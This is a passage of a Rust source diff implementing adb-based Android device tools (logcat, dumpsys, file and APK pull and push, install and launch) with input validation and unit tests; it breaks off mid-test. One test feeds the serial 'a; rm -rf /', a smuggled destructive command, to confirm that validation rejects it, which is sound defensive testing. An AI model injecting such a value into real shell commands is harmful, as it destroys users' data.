EvidenceBuilder::new("engines_adb_check", Subject { kind: "engine".into(), sha256: None, name: Some("adb".into()) }, device_env(ctx)) + .params(json!({})) + .authority(Authority::OurRun) + .confidence(Confidence::Observed) + .result(json!({ + "available": available, + "path": found, + "version": version, + "error": error, + "remediation": if available { None } else { Some("Install Android platform-tools, or run engines_install with engine \"adb\".") }, + })) + .summary(summary) + .limitations(lims) + .coverage(Coverage::complete(1)) + .build()?; + done(e) +} + +fn adb_devices_find(ctx: &mut Ctx<'_>, params: Value) -> Result { + let _: Empty = parse_params(params)?; + let adb = adb_for(ctx)?; + let devices = adb.devices()?; + let online = devices.iter().filter(|d| d.is_online()).count(); + let summary = format!("{} device(s) attached, {online} online.", devices.len()); + let locations: Vec = devices.iter().map(|d| Location::new("device", &d.serial).with_label(d.state.clone())).collect(); + let e = EvidenceBuilder::new("adb_devices_find", Subject { kind: "engine".into(), sha256: None, name: Some("adb".into()) }, device_env(ctx)) + .params(json!({})) + .authority(Authority::OutsideService) + .confidence(Confidence::Observed) + .result(json!({"devices": devices, "count": devices.len(), "online": online})) + .summary(summary) + .locations(locations) + .coverage(Coverage::complete(devices.len() as u64)) + .build()?; + done(e) +} + +fn adb_device_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: SerialParams = parse_params(params)?; + let serial = serial_of(&p.serial)?; + let adb = adb_for(ctx)?; + ensure_online(&adb, serial)?; + let text = shell_text(&adb, serial, "getprop", "getprop")?; + let props = adb::parse_getprop(&text); + let mut whitelist = serde_json::Map::new(); + for key in adb::DEVICE_PROP_WHITELIST { + if let Some(prop) = props.iter().find(|pr| pr.key == *key) { + whitelist.insert((*key).to_string(), Value::String(prop.value.clone())); + } + } + let model = whitelist.get("ro.product.model").and_then(Value::as_str).unwrap_or("?"); + let release = whitelist.get("ro.build.version.release").and_then(Value::as_str).unwrap_or("?"); + let sdk = whitelist.get("ro.build.version.sdk").and_then(Value::as_str).unwrap_or("?"); + let summary = format!("{model}, Android {release} (API {sdk}); {} properties read.", props.len()); + // Attach a bounded sample of all properties so nothing silently disappears. + let sample: Vec<_> = props.iter().take(2000).collect(); + let e = dev_ev(ctx, "adb_device_show", serial, json!({"serial": serial})) + .result(json!({"device": whitelist, "property_count": props.len(), "properties": sample})) + .summary(summary) + .coverage(Coverage::complete(props.len() as u64)) + .build()?; + done(e) +} + +fn adb_apps_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ListPackagesParams = parse_params(params)?; + let serial = serial_of(&p.serial)?; + let adb = adb_for(ctx)?; + ensure_online(&adb, serial)?; + let flag = match p.scope { + PackageScope::All => "", + PackageScope::ThirdParty => " -3", + PackageScope::System => " -s", + }; + let text = shell_text(&adb, serial, &format!("pm list packages{flag}"), "pm list packages")?; + let pkgs = adb::parse_packages(&text); + let e = dev_ev(ctx, "adb_apps_list", serial, json!({"serial": serial, "scope": p.scope})) + .result(json!({"packages": pkgs, "count": pkgs.len(), "scope": p.scope})) + .summary(format!("{} package(s).", pkgs.len())) + .coverage(Coverage::complete(pkgs.len() as u64)) + .build()?; + done(e) +} + +fn adb_log_read(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: LogcatParams = parse_params(params)?; + let serial = serial_of(&p.serial)?; + if !(1..=10000).contains(&p.count) { + return Err(ToolError::invalid("count must be between 1 and 10000")); + } + let adb = adb_for(ctx)?; + ensure_online(&adb, serial)?; + // Build host-side argv (no device shell): logcat is an adb subcommand. + let mut args: Vec = vec![ + "-s".into(), + serial.into(), + "logcat".into(), + "-d".into(), + "-b".into(), + p.buffer.name().into(), + "-v".into(), + "threadtime".into(), + "-t".into(), + p.count.to_string(), + ]; + if let Some(pid) = p.pid { + args.push("--pid".into()); + args.push(pid.to_string()); + } + let out = adb.run(&args)?; + let text = usable(out, "logcat")?; + let lines = adb::parse_logcat(&text); + let e = dev_ev(ctx, "adb_log_read", serial, json!({"serial": serial, "count": p.count, "buffer": p.buffer, "pid": p.pid})) + .result(json!({"lines": lines, "count": lines.len(), "buffer": p.buffer.name(), "pid": p.pid})) + .summary(format!("{} log line(s) from the {} buffer.", lines.len(), p.buffer.name())) + .coverage(Coverage::complete(lines.len() as u64)) + .build()?; + done(e) +} + +/// Whether `dumpsys package ` describes `package`: it has that package's `Package [name]` +/// block. Android answers a missing one with "Unable to find package: ", which names it too (#235). +fn package_found(text: &str, package: &str) -> bool { + text.contains(&format!("Package [{package}]")) +} + +fn adb_app_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: PackageParams = parse_params(params)?; + let serial = serial_of(&p.serial)?; + let package = adb::validate_package(&p.package)?; + let adb = adb_for(ctx)?; + ensure_online(&adb, serial)?; + let text = shell_text(&adb, serial, &format!("dumpsys package {package}"), "dumpsys package")?; + if !package_found(&text, package) { + return Err(ToolError::new(ErrorCode::NotFound, format!("Package {package} is not installed on {serial}.")) + .with_remediation("List installed packages with adb_apps_list.")); + } + let fields = grep_fields( + &text, + &[ + "versionName=", + "versionCode=", + "userId=", + "firstInstallTime=", + "lastUpdateTime=", + "dataDir=", + "codePath=", + "primaryCpuAbi=", + "targetSdk=", + "minSdk=", + ], + ); + let perms = grep_section(&text, "requested permissions:", 400); + let granted = grep_section(&text, "install permissions:", 400); + let (raw, truncated) = clip(&text, 16 * 1024); + let e = dev_ev(ctx, "adb_app_show", serial, json!({"serial": serial, "package": package})) + .result(json!({ + "package": package, + "fields": fields, + "requested_permissions": perms, + "install_permissions": granted, + "raw_tail": raw, + "raw_truncated": truncated, + })) + .summary(format!("Package {package}: {} field(s) parsed.", fields.len())) + .limitation(passthrough_limitation("dumpsys package")) + .location(Location::new("package", package)) + .coverage(Coverage::complete(1)) + .build()?; + done(e) +} + +fn adb_running_processes_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: SerialParams = parse_params(params)?; + let serial = serial_of(&p.serial)?; + let adb = adb_for(ctx)?; + ensure_online(&adb, serial)?; + let text = shell_text(&adb, serial, "ps -A", "ps -A")?; + let rows = adb::parse_ps(&text); + let e = dev_ev(ctx, "adb_running_processes_list", serial, json!({"serial": serial})) + .result(json!({"processes": rows, "count": rows.len()})) + .summary(format!("{} process(es).", rows.len())) + .coverage(Coverage::complete(rows.len() as u64)) + .build()?; + done(e) +} + +fn adb_folder_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: DirectoryParams = parse_params(params)?; + let serial = serial_of(&p.serial)?; + let path = adb::validate_device_path(&p.device_path)?; + let adb = adb_for(ctx)?; + ensure_online(&adb, serial)?; + let line = format!("ls -la {}", adb::quote_device(path)); + let out = adb.shell(serial, &line)?; + let text = out.stdout_text(); + let entries = parse_ls(&text); + let (raw, truncated) = clip(&text, 16 * 1024); + let summary = if out.success || !entries.is_empty() { + format!("{} entries in {path}.", entries.len()) + } else { + format!("Could not list {path} (it may not exist or be readable).") + }; + let e = dev_ev(ctx, "adb_folder_list", serial, json!({"serial": serial, "device_path": path})) + .result(json!({"path": path, "entries": entries, "count": entries.len(), "raw_tail": raw, "raw_truncated": truncated, "exit_code": out.code})) + .summary(summary) + .location(Location::new("path", path)) + .coverage(Coverage::complete(entries.len() as u64)) + .build()?; + done(e) +} + +fn adb_device_features_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: SerialParams = parse_params(params)?; + let serial = serial_of(&p.serial)?; + let adb = adb_for(ctx)?; + ensure_online(&adb, serial)?; + let text = shell_text(&adb, serial, "pm list features", "pm list features")?; + let feats = adb::parse_features(&text); + let e = dev_ev(ctx, "adb_device_features_list", serial, json!({"serial": serial})) + .result(json!({"features": feats, "count": feats.len()})) + .summary(format!("{} feature(s).", feats.len())) + .coverage(Coverage::complete(feats.len() as u64)) + .build()?; + done(e) +} + +fn adb_system_services_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: SerialParams = parse_params(params)?; + let serial = serial_of(&p.serial)?; + let adb = adb_for(ctx)?; + ensure_online(&adb, serial)?; + let text = shell_text(&adb, serial, "service list", "service list")?; + let svcs = adb::parse_services(&text); + let e = dev_ev(ctx, "adb_system_services_list", serial, json!({"serial": serial})) + .result(json!({"services": svcs, "count": svcs.len()})) + .summary(format!("{} system service(s).", svcs.len())) + .coverage(Coverage::complete(svcs.len() as u64)) + .build()?; + done(e) +} + +fn adb_display_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + dumpsys_tool(ctx, params, "display", &["mDisplayId", "DisplayDeviceInfo", "real ", "density", "mState", "FLAG_"]) +} + +fn adb_window_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + dumpsys_tool(ctx, params, "window", &["mCurrentFocus", "mFocusedApp", "mDisplayFrames", "imeLayeringTarget", "mInputMethodTarget"]) +} + +fn dumpsys_tool(ctx: &mut Ctx<'_>, params: Value, what: &'static str, needles: &[&str]) -> Result { + let p: SerialParams = parse_params(params)?; + let serial = serial_of(&p.serial)?; + let adb = adb_for(ctx)?; + ensure_online(&adb, serial)?; + let text = shell_text(&adb, serial, &format!("dumpsys {what}"), &format!("dumpsys {what}"))?; + let key_lines = grep_lines(&text, needles, 200); + let (raw, truncated) = clip(&text, 16 * 1024); + let op = if what == "display" { "adb_display_show" } else { "adb_window_show" }; + let e = dev_ev(ctx, op, serial, json!({"serial": serial})) + .result(json!({"key_lines": key_lines, "raw_tail": raw, "raw_truncated": truncated})) + .summary(format!("dumpsys {what}: {} key line(s).", key_lines.len())) + .limitation(passthrough_limitation(&format!("dumpsys {what}"))) + .coverage(Coverage::complete(1)) + .build()?; + done(e) +} + +fn adb_setting_get(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: SettingParams = parse_params(params)?; + let serial = serial_of(&p.serial)?; + let key = adb::validate_dotted_key(&p.key, "setting key")?; + let adb = adb_for(ctx)?; + ensure_online(&adb, serial)?; + let ns = p.namespace.name(); + let text = shell_text(&adb, serial, &format!("settings get {ns} {key}"), "settings get")?; + let value = text.trim(); + let value = if value == "null" { Value::Null } else { Value::String(value.to_string()) }; + let e = dev_ev(ctx, "adb_setting_get", serial, json!({"serial": serial, "namespace": ns, "key": key})) + .result(json!({"namespace": ns, "key": key, "value": value})) + .summary(format!("{ns}/{key} = {value}")) + .coverage(Coverage::complete(1)) + .build()?; + done(e) +} + +fn adb_apps_find(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ResolveParams = parse_params(params)?; + let serial = serial_of(&p.serial)?; + let query = adb::validate_query(&p.query)?; + let adb = adb_for(ctx)?; + ensure_online(&adb, serial)?; + let text = shell_text(&adb, serial, &format!("pm list packages {}", adb::quote_device(query)), "pm list packages")?; + let pkgs = adb::parse_packages(&text); + let e = dev_ev(ctx, "adb_apps_find", serial, json!({"serial": serial, "query": query})) + .result(json!({"query": query, "packages": pkgs, "count": pkgs.len()})) + .summary(format!("{} package(s) match {query:?}.", pkgs.len())) + .coverage(Coverage::complete(pkgs.len() as u64)) + .build()?; + done(e) +} + +fn adb_app_download(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: PullPackageParams = parse_params(params)?; + let serial = serial_of(&p.serial)?; + let package = adb::validate_package(&p.package)?; + let outdir = create_absent_dir(&p.output_directory)?; + let made = UnlessWritten::new(&outdir); + let adb = adb_for(ctx)?.timeout(Duration::from_secs(300)).idle_timeout(Duration::from_secs(120)); + ensure_online(&adb, serial)?; + let path_text = shell_text(&adb, serial, &format!("pm path {package}"), "pm path")?; + let device_paths: Vec = path_text + .lines() + .filter_map(|l| l.trim().strip_prefix("package:")) + .map(|s| s.trim().to_string()) + .filter(|s| adb::validate_device_path(s).is_ok()) + .collect(); + if device_paths.is_empty() { + return Err(ToolError::new(ErrorCode::NotFound, format!("Could not find APK paths for {package} on {serial}.")) + .with_remediation("Check the package is installed with adb_apps_list.")); + } + let mut pulled = Vec::new(); + for dp in &device_paths { + ctx.cancel.check()?; + let out = adb.targeted(serial, ["pull", dp.as_str(), &outdir.to_string_lossy()])?; + if !out.success { + return Err(pull_error(dp, &out)); + } + pulled.push(dp.clone()); + } + let written = list_dir_names(&outdir); + let e = dev_ev(ctx, "adb_app_download", serial, json!({"serial": serial, "package": package, "output_directory": outdir.to_string_lossy()})) + .result(json!({"package": package, "device_paths": device_paths, "pulled": pulled, "output_directory": outdir, "files": written})) + .summary(format!("Pulled {} APK file(s) for {package} to {}.", pulled.len(), outdir.display())) + .authority(Authority::OutsideService) + .location(Location::new("path", outdir.to_string_lossy())) + .limitation(Limitation::new( + "not_verified", + "The pulled APKs are copied as-is; their signatures are not verified by this tool (use android_package_show).", + )) + .coverage(Coverage::complete(pulled.len() as u64)) + .build()?; + made.keep(); + done(e) +} + +pub(crate) fn pull_error(path: &str, out: &Output) -> ToolError { + ToolError::new(ErrorCode::ProgramFailed, format!("adb pull of {path} failed: {}", tail_text(&out.stderr_text()).trim())).with_remediation(format!( + "Check the device path exists and is readable. To try it yourself, run:\nadb pull {}", + craft_anything_platform::process::printable_command(std::ffi::OsStr::new(path), &[] as &[&str]) + )) +} + +fn adb_file_download(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: PullFileParams = parse_params(params)?; + let serial = serial_of(&p.serial)?; + let path = adb::validate_device_path(&p.device_path)?; + let outdir = create_absent_dir(&p.output_directory)?; + let made = UnlessWritten::new(&outdir); + let adb = adb_for(ctx)?.timeout(Duration::from_secs(300)).idle_timeout(Duration::from_secs(120)); + ensure_online(&adb, serial)?; + let out = adb.targeted(serial, ["pull", path, &outdir.to_string_lossy()])?; + if !out.success { + return Err(pull_error(path, &out)); + } + let files = list_dir_names(&outdir); + let e = dev_ev(ctx, "adb_file_download", serial, json!({"serial": serial, "device_path": path, "output_directory": outdir.to_string_lossy()})) + .result(json!({"device_path": path, "output_directory": outdir, "files": files})) + .summary(format!("Pulled {path} to {}.", outdir.display())) + .authority(Authority::OutsideService) + .location(Location::new("path", outdir.to_string_lossy())) + .coverage(Coverage::complete(files.len() as u64)) + .build()?; + made.keep(); + done(e) +} + +fn adb_screenshot_take(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: OutputDirParams = parse_params(params)?; + let serial = serial_of(&p.serial)?; + let outdir = create_absent_dir(&p.output_directory)?; + let made = UnlessWritten::new(&outdir); + let adb = adb_for(ctx)?.timeout(Duration::from_secs(60)); + ensure_online(&adb, serial)?; + let out = adb.exec_out(serial, "screencap -p")?; + if !out.success && out.stdout.is_empty() { + return Err(exec_error("screencap", &out)); + } + if out.stdout.len() < 8 || out.stdout.get(1..4) != Some(b"PNG") { + return Err(ToolError::new(ErrorCode::GarbledOutput, "The screenshot did not come back as a PNG.") + .with_remediation("Some devices block screen capture; try again or capture it on the device.")); + } + let file = outdir.join("screen.png"); + write_atomic(&file, &out.stdout)?; + let e = dev_ev(ctx, "adb_screenshot_take", serial, json!({"serial": serial, "output_directory": outdir.to_string_lossy()})) + .result(json!({"file": file, "bytes": out.stdout.len()})) + .summary(format!("Saved a {}-byte screenshot to {}.", out.stdout.len(), file.display())) + .authority(Authority::OutsideService) + .location(Location::new("path", file.to_string_lossy())) + .coverage(Coverage::complete(1)) + .build()?; + made.keep(); + done(e) +} + +fn adb_bugreport_save(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: OutputDirParams = parse_params(params)?; + let serial = serial_of(&p.serial)?; + let outdir = create_absent_dir(&p.output_directory)?; + let made = UnlessWritten::new(&outdir); + // Bug reports can take minutes; keep a generous wall deadline but an idle deadline so a truly + // stuck run still ends. + let adb = adb_for(ctx)?.timeout(Duration::from_secs(600)).idle_timeout(Duration::from_secs(180)); + ensure_online(&adb, serial)?; + ctx.report(None, "collecting a bug report (this can take a few minutes)"); + let out = adb.targeted(serial, ["bugreport", &outdir.to_string_lossy()])?; + let files = list_dir_names(&outdir); + if !out.success && files.is_empty() { + return Err(exec_error("bugreport", &out)); + } + let e = dev_ev(ctx, "adb_bugreport_save", serial, json!({"serial": serial, "output_directory": outdir.to_string_lossy()})) + .result(json!({"output_directory": outdir, "files": files, "stdout_tail": tail_text(&out.stdout_text())})) + .summary(format!("Collected a bug report ({} file(s)) in {}.", files.len(), outdir.display())) + .authority(Authority::OutsideService) + .location(Location::new("path", outdir.to_string_lossy())) + .coverage(Coverage::complete(files.len() as u64)) + .build()?; + made.keep(); + done(e) +} + +fn adb_file_upload(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: PushParams = parse_params(params)?; + let serial = serial_of(&p.serial)?; + let local = super::artifact_tools::abs_path(&p.local_path, "local_path")?; + if !local.is_file() { + return Err(ToolError::invalid(format!("{} is not a file", local.display()))); + } + let device_path = adb::validate_device_path(&p.device_path)?; + let adb = adb_for(ctx)?.timeout(Duration::from_secs(300)).idle_timeout(Duration::from_secs(120)); + ensure_online(&adb, serial)?; + if !p.overwrite { + // `test -e PATH && echo EXISTS` + let probe = shell_text(&adb, serial, &format!("( [ -e {} ] && echo EXISTS ) || echo ABSENT", adb::quote_device(device_path)), "test -e")?; + if probe.contains("EXISTS") { + return Err(ToolError::new(ErrorCode::BadInput, format!("{device_path} already exists on the device.")) + .with_remediation("Pass overwrite=true to replace it, or choose a different device path.")); + } + } + let out = adb.targeted(serial, ["push", &local.to_string_lossy(), device_path])?; + if !out.success { + return Err(ToolError::new(ErrorCode::ProgramFailed, format!("adb push failed: {}", tail_text(&out.stderr_text()).trim())) + .with_remediation("Check the destination folder exists and is writable on the device.")); + } + let e = dev_ev( + ctx, + "adb_file_upload", + serial, + json!({"serial": serial, "local_path": local.to_string_lossy(), "device_path": device_path, "overwrite": p.overwrite}), + ) + .result(json!({"local_path": local, "device_path": device_path, "stdout_tail": tail_text(&out.stdout_text())})) + .summary(format!("Pushed {} to {device_path}.", local.display())) + .limitation(Limitation::new("device_changed", "This wrote a file onto the device.")) + .location(Location::new("path", device_path)) + .coverage(Coverage::complete(1)) + .build()?; + done(e) +} + +fn adb_app_install(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: InstallParams = parse_params(params)?; + let serial = serial_of(&p.serial)?; + let apk = super::artifact_tools::abs_path(&p.apk_path, "apk_path")?; + if !apk.is_file() { + return Err(ToolError::invalid(format!("{} is not a file", apk.display()))); + } + let adb = adb_for(ctx)?.timeout(Duration::from_secs(300)).idle_timeout(Duration::from_secs(120)); + ensure_online(&adb, serial)?; + let apk_s = apk.to_string_lossy().into_owned(); + let args: Vec<&str> = if p.replace { vec!["install", "-r", &apk_s] } else { vec!["install", &apk_s] }; + let out = adb.targeted(serial, args)?; + let combined = format!("{}{}", out.stdout_text(), out.stderr_text()); + if !out.success || !combined.contains("Success") { + return Err(ToolError::new(ErrorCode::ProgramFailed, format!("adb install failed: {}", tail_text(&combined).trim())) + .with_remediation("The APK may be incompatible, unsigned for this device, or already installed; see the message.")); + } + let e = dev_ev(ctx, "adb_app_install", serial, json!({"serial": serial, "apk_path": apk_s, "replace": p.replace})) + .result(json!({"apk_path": apk, "replace": p.replace, "output": tail_text(&combined)})) + .summary(format!("Installed {}.", apk.display())) + .limitation(Limitation::new("device_changed", "This installed an app onto the device.")) + .coverage(Coverage::complete(1)) + .build()?; + done(e) +} + +fn adb_app_remove(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: PackageParams = parse_params(params)?; + let serial = serial_of(&p.serial)?; + let package = adb::validate_package(&p.package)?; + let adb = adb_for(ctx)?; + ensure_online(&adb, serial)?; + let out = adb.targeted(serial, ["uninstall", package])?; + let combined = format!("{}{}", out.stdout_text(), out.stderr_text()); + if !out.success || !combined.contains("Success") { + return Err(ToolError::new(ErrorCode::ProgramFailed, format!("adb uninstall failed: {}", tail_text(&combined).trim())) + .with_remediation("The app may not be installed, or may be a protected system app.")); + } + let e = dev_ev(ctx, "adb_app_remove", serial, json!({"serial": serial, "package": package})) + .result(json!({"package": package, "output": tail_text(&combined)})) + .summary(format!("Uninstalled {package}.")) + .limitation(Limitation::new("device_changed", "This removed an app from the device.")) + .coverage(Coverage::complete(1)) + .build()?; + done(e) +} + +fn adb_app_launch(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: PackageParams = parse_params(params)?; + let serial = serial_of(&p.serial)?; + let package = adb::validate_package(&p.package)?; + let adb = adb_for(ctx)?; + ensure_online(&adb, serial)?; + let line = format!("monkey -p {package} -c android.intent.category.LAUNCHER 1"); + let out = adb.shell(serial, &line)?; + let combined = format!("{}{}", out.stdout_text(), out.stderr_text()); + if combined.contains("No activities found") || combined.contains("Error") { + return Err(ToolError::new(ErrorCode::ProgramFailed, format!("Could not launch {package}: {}", tail_text(&combined).trim())) + .with_remediation("The app may have no launcher activity; use adb_activity_open with an explicit component.")); + } + let e = dev_ev(ctx, "adb_app_launch", serial, json!({"serial": serial, "package": package})) + .result(json!({"package": package, "output": tail_text(&combined)})) + .summary(format!("Launched {package}.")) + .limitation(Limitation::new("device_changed", "This started an app on the device.")) + .coverage(Coverage::complete(1)) + .build()?; + done(e) +} + +fn adb_activity_open(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ActivityParams = parse_params(params)?; + let serial = serial_of(&p.serial)?; + if p.extras.len() > 16 { + return Err(ToolError::invalid("at most 16 extras are allowed")); + } + if p.action.is_none() && p.component.is_none() { + return Err(ToolError::invalid("pass at least one of action or component")); + } + let mut line = String::from("am start -W"); + if let Some(a) = &p.action { + let a = adb::validate_dotted_key(a, "intent action")?; + line.push_str(&format!(" -a {a}")); + } + if let Some(c) = &p.component { + let c = adb::validate_component(c)?; + line.push_str(&format!(" -n {c}")); + } + if let Some(d) = &p.data_uri { + if d.len() > 4096 || d.bytes().any(|b| b == 0 || b == b'\n' || b == b'\r') { + return Err(ToolError::invalid("data_uri is too long or has control characters")); + } + line.push_str(&format!(" -d {}", adb::quote_device(d))); + } + for ex in &p.extras { + let key = adb::validate_dotted_key(&ex.key, "extra key")?; + let frag = extra_fragment(key, ex.ty, &ex.value)?; + line.push(' '); + line.push_str(&frag); + } + let adb = adb_for(ctx)?; + ensure_online(&adb, serial)?; + let out = adb.shell(serial, &line)?; + let combined = format!("{}{}", out.stdout_text(), out.stderr_text()); + if combined.contains("Error:") || combined.contains("Exception") { + return Err(ToolError::new(ErrorCode::ProgramFailed, format!("am start failed: {}", tail_text(&combined).trim())) + .with_remediation("Check the action, component and extras are valid for the target app.")); + } + let e = dev_ev( + ctx, + "adb_activity_open", + serial, + json!({"serial": serial, "action": p.action, "component": p.component, "data_uri": p.data_uri, "extras_count": p.extras.len()}), + ) + .result(json!({"output": tail_text(&combined)})) + .summary("Started the activity.".to_string()) + .limitation(Limitation::new("device_changed", "This started an activity on the device.")) + .coverage(Coverage::complete(1)) + .build()?; + done(e) +} + +fn extra_fragment(key: &str, ty: ExtraType, value: &str) -> Result { + Ok(match ty { + ExtraType::String => format!("--es {key} {}", adb::quote_device(value)), + ExtraType::Boolean => { + let b: bool = value.parse().map_err(|_| ToolError::invalid(format!("extra {key}: expected true/false, got {value:?}")))?; + format!("--ez {key} {b}") + } + ExtraType::Int => { + let n: i32 = value.parse().map_err(|_| ToolError::invalid(format!("extra {key}: expected an int, got {value:?}")))?; + format!("--ei {key} {n}") + } + ExtraType::Long => { + let n: i64 = value.parse().map_err(|_| ToolError::invalid(format!("extra {key}: expected a long, got {value:?}")))?; + format!("--el {key} {n}") + } + ExtraType::Float => { + let n: f64 = value.parse().map_err(|_| ToolError::invalid(format!("extra {key}: expected a float, got {value:?}")))?; + if !n.is_finite() { + return Err(ToolError::invalid(format!("extra {key}: value must be finite"))); + } + format!("--ef {key} {n}") + } + }) +} + +fn adb_app_force_stop(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: PackageParams = parse_params(params)?; + let serial = serial_of(&p.serial)?; + let package = adb::validate_package(&p.package)?; + let adb = adb_for(ctx)?; + ensure_online(&adb, serial)?; + let out = adb.shell(serial, &format!("am force-stop {package}"))?; + let combined = format!("{}{}", out.stdout_text(), out.stderr_text()); + if combined.contains("Error") || combined.contains("Exception") { + return Err(ToolError::new(ErrorCode::ProgramFailed, format!("am force-stop failed: {}", tail_text(&combined).trim()))); + } + let e = dev_ev(ctx, "adb_app_force_stop", serial, json!({"serial": serial, "package": package})) + .result(json!({"package": package})) + .summary(format!("Force-stopped {package}.")) + .limitation(Limitation::new("device_changed", "This stopped an app on the device.")) + .coverage(Coverage::complete(1)) + .build()?; + done(e) +} + +// ------------------------------------------------------------------------------------------------ +// Light parsers for text that is otherwise passed through + +/// Pull `name=value` fields out of dumpsys-style text (first occurrence of each). +fn grep_fields(text: &str, keys: &[&str]) -> serde_json::Map { + let mut out = serde_json::Map::new(); + for line in text.lines().take(adb::MAX_LINES) { + let line = line.trim(); + for key in keys { + if out.contains_key(key.trim_end_matches('=')) { + continue; + } + if let Some(idx) = line.find(key) { + let after = line.get(idx + key.len()..).unwrap_or(""); + let value = after.split_whitespace().next().unwrap_or("").to_string(); + if !value.is_empty() { + out.insert(key.trim_end_matches('=').to_string(), Value::String(value)); + } + } + } + } + out +} + +/// Collect the indented lines of a named section (e.g. "requested permissions:"). +fn grep_section(text: &str, header: &str, max: usize) -> Vec { + let mut out = Vec::new(); + let mut in_section = false; + let mut base_indent = 0usize; + for line in text.lines().take(adb::MAX_LINES) { + let indent = line.len() - line.trim_start().len(); + if !in_section { + if line.trim() == header || line.trim_start() == header { + in_section = true; + base_indent = indent; + } + continue; + } + if line.trim().is_empty() { + continue; + } + if indent <= base_indent { + break; + } + out.push(line.trim().to_string()); + if out.len() >= max { + break; + } + } + out +} + +/// Lines containing any of the needles (bounded). +fn grep_lines(text: &str, needles: &[&str], max: usize) -> Vec { + let mut out = Vec::new(); + for line in text.lines().take(adb::MAX_LINES) { + if needles.iter().any(|n| line.contains(n)) { + out.push(line.trim().to_string()); + if out.len() >= max { + break; + } + } + } + out +} + +/// A parsed `ls -la` entry (best effort; the raw text is always kept by the caller). +#[derive(Debug, Serialize)] +struct LsEntry { + perms: String, + size: Option, + name: String, +} + +fn parse_ls(text: &str) -> Vec { + let mut out = Vec::new(); + for line in text.lines().take(adb::MAX_LINES) { + let line = line.trim(); + if line.is_empty() || line.starts_with("total ") { + continue; + } + let fields: Vec<&str> = line.split_whitespace().collect(); + let Some(perms) = fields.first() else { continue }; + if perms.len() < 10 || !matches!(perms.as_bytes().first(), Some(b'-' | b'd' | b'l' | b'c' | b'b' | b'p' | b's')) { + continue; + } + // toybox `ls -la`: perms links owner group size month day time name... + let size = fields.get(4).and_then(|s| s.parse::().ok()); + let name = fields.get(7..).map(|s| s.join(" ")).filter(|s| !s.is_empty()).unwrap_or_default(); + out.push(LsEntry { perms: (*perms).to_string(), size, name }); + } + out +} + +fn list_dir_names(dir: &std::path::Path) -> Vec { + let mut out = Vec::new(); + if let Ok(rd) = std::fs::read_dir(dir) { + for e in rd.flatten().take(10_000) { + out.push(e.file_name().to_string_lossy().into_owned()); + } + } + out.sort(); + out +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::tools::native_common::test_support::call_err; + use crate::{CallOptions, Caller, Engine, Session, Settings}; + + /// An engine whose adb can never be located: an empty managed store and no override. In Deep + /// mode, since Clean room refuses most adb tools before adb is looked for. + fn engine_without_adb() -> (Engine, tempfile::TempDir) { + let dir = tempfile::tempdir().unwrap(); + let mut settings = Settings { deep_mode: true, ..Default::default() }; + settings.engines.store_dir = Some(dir.path().to_path_buf()); + settings.engines.tools = Default::default(); + (Engine::new(Session::new(settings)), dir) + } + + fn adb_locatable(e: &Engine) -> bool { + let s = e.session(); + craft_anything_engines::locate("adb", &s.settings.engines.tools, &s.settings.engine_store_dir()).is_some() + } + + #[test] + fn missing_adb_is_provider_unavailable() { + let (e, _d) = engine_without_adb(); + // Only meaningful when adb is not on this machine's PATH either. + if adb_locatable(&e) { + return; + } + for id in ["adb_devices_find", "adb_device_show", "adb_log_read", "adb_file_download"] { + let err = call_err(&e, id, json!({"serial": "emulator-5554", "device_path": "/sdcard", "output_directory": "/tmp/x", "count": 10})); + assert_eq!(err.code, ErrorCode::EngineMissing, "{id} gave {:?}", err.code); + assert!(err.remediation.is_some()); + } + } + + /// #234: a call that fails before writing anything leaves no folder, so the same call can be + /// tried again; a folder with something in it, or a kept one, stays. + #[test] + fn a_failed_call_leaves_its_output_folder_free() { + let (e, d) = engine_without_adb(); + if !adb_locatable(&e) { + for id in ["adb_screenshot_take", "adb_bugreport_save", "adb_file_download", "adb_app_download"] { + let out = d.path().join(id); + let args = json!({"serial": "emulator-5554", "package": "com.example.app", "device_path": "/sdcard/x", "output_directory": out}); + assert_eq!(call_err(&e, id, args.clone()).code, ErrorCode::EngineMissing, "{id}"); + assert!(!out.exists(), "{id} left {out:?} behind"); + assert_eq!(call_err(&e, id, args).code, ErrorCode::EngineMissing, "{id}: the retry was blocked"); + } + } + let (empty, written, kept) = (d.path().join("empty"), d.path().join("written"), d.path().join("kept")); + for dir in [&empty, &written, &kept] { + std::fs::create_dir(dir).unwrap(); + } + std::fs::write(written.join("part"), b"x").unwrap(); + drop(UnlessWritten::new(&empty)); + drop(UnlessWritten::new(&written)); + UnlessWritten::new(&kept).keep(); + assert!(!empty.exists() && written.exists() && kept.exists()); + } + + #[test] + fn inspect_client_never_needs_adb() { + let (e, _d) = engine_without_adb(); + // engines_adb_check is Requires::Nothing: it answers even with no adb installed. + let out = e.call("engines_adb_check", json!({}), CallOptions::new(Caller::Cli)).unwrap(); + let v = out.to_json(); + assert_eq!(v["result"]["available"], adb_locatable(&e)); + } + + #[test] + fn bad_serial_is_rejected() { + let (e, _d) = engine_without_adb(); + if adb_locatable(&e) { + return; + } + // A hostile serial must be rejected regardless; when adb is missing the provider error + // comes first, so test validation directly. + assert!(adb::validate_serial("a; rm -rf /").is_err()); + } + + #[test] + fn device_mutating_tools_need_consent() { + // With adb present but no consent, a device-changing tool is refused before running. + let (e, _d) = engine_without_adb(); + if !adb_locatable(&e) { + 